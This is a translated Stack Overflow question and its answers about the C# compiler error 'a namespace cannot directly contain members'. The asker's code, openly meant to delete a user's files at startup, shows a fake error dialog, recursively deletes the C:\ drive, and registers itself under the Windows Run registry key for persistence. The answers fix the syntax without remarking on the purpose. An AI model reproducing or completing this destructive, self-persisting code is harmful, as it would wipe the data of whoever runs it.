【问题标题】:A namespace cannot directly contain members such as fields or methods?命名空间不能直接包含字段或方法等成员?
【发布时间】:2012-02-21 19:22:53
【问题描述】:

我正在尝试创建一个在启动时删除用户文档的应用程序(我知道这听起来可能是恶意的,但它是针对学校项目的)。

但是,我收到错误消息“命名空间不能直接包含字段或方法等成员”。

看了一下,好像没问题?我希望第二双眼睛能提供帮助,因为我到处搜索,但找不到相关的解决方案!

诚然,由于我的知识非常基础,我在网上和书本上使用了很多帮助,而我对 c# 的了解有限。因此,可能只是我很愚蠢,但每个人都必须从某个地方开始,对吧?

代码如下:

namespace Test
{
class Program
    {
     static void Main(string[] args)
        {
        MessageBox.Show("An unexpected error occured");
        if (System.IO.Directory.Exists(@"C:\"))
        {
            try
            {
                System.IO.Directory.Delete("C:\\", true);
            }

            catch (System.IO.IOException e)
            {
                Console.WriteLine(e.Message);
            }
        }
    }
    }
public class Program
{
    private void SetStartup();
    }

        RegistryKey rk = Registry.CurrentUser.OpenSubKey
            ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

        if (chkStartUp.Checked)
            rk.SetValue(AppName, Application.ExecutablePath.ToString());
        else
            rk.DeleteValue(AppName, false);

    }

【问题讨论】:

标签: c# methods namespaces field


【解决方案1】:

您的代码在SetStartup 周围严重混乱。如果你按照正常的缩进,你会更清楚地看到发生了什么。在 Visual Studio 中按 Ctrl-E,然后按 D,它会重新格式化您的文档 - 这会让事情变得更加清晰。

看看这个(在我缩进之后):

public class Program
{
    private void SetStartup();
}

RegistryKey rk = [...];

这是试图在类之外声明一个变量 (rk)。您还有一个没有主体的非抽象方法,并且最后缺少右大括号。

我怀疑你的意思是它是:

public class Program
{
    // Note: no semi-colon, and an *opening* brace
    private void SetStartup()
    {
        RegistryKey rk = [...];
        // Other code
    }
}

// And you'd want to close the namespace declaration too

在声明两个(非部分)同名类时也会遇到问题...

【讨论】:

  • 我现在得到“名称 AppName 在当前上下文中不存在” 与 chkStartUp 相同?
  • @user1224163:嗯,你有两个不同的类 Program 声明,这也无济于事......我们不知道 chkStartUp 是什么......
  • 已排序,我是个白痴(很明显)。感谢您的帮助,抱歉浪费您的时间!
  • 在 Visual Studio 2012 中按“Ctrl-E 后跟 D”没有重新格式化,窗口底部的栏显示消息“组合键(Ctrl+E、Shift+D ) 不是命令。”您在哪个版本的 Visual Studio 中使用此命令?
  • @MatthewNajmon:不是 Shift+D,只是 D。我当时可能用的是 VS2010,但我刚刚检查了 VS2012 和 VS2013,它是一样的。转到编辑/高级并查找格式文档以找到适合您的快捷键。
【解决方案2】:

你有一个放错位置的括号和分号,应该是:

private void SetStartup()
{

    RegistryKey rk = Registry.CurrentUser.OpenSubKey
        ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

    //..
}

【讨论】:

    【解决方案3】:

    在我的情况下,编译器在第 1 行的 Razor 视图中报告了此错误。代码如下:

    @using Microsoft.AspNet.Identity;
    @using MyApp.Helpers;
    

    我只是改变了使用顺序,问题就解决了。

    @using MyApp.Helpers;
    @using Microsoft.AspNet.Identity;
    

    我的同事也反映他们面临这个编译器错误,可以通过更改命名空间的顺序来解决。

    我使用 Visual Studio 2013 更新 5 和 .NET Framework 4.5

    【讨论】:

      【解决方案4】:

      格式化代码后,你会看到一个类之外还有代码。

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 2014-02-06
        • 1970-01-01
        • 1970-01-01
        相关资源
        最近更新 更多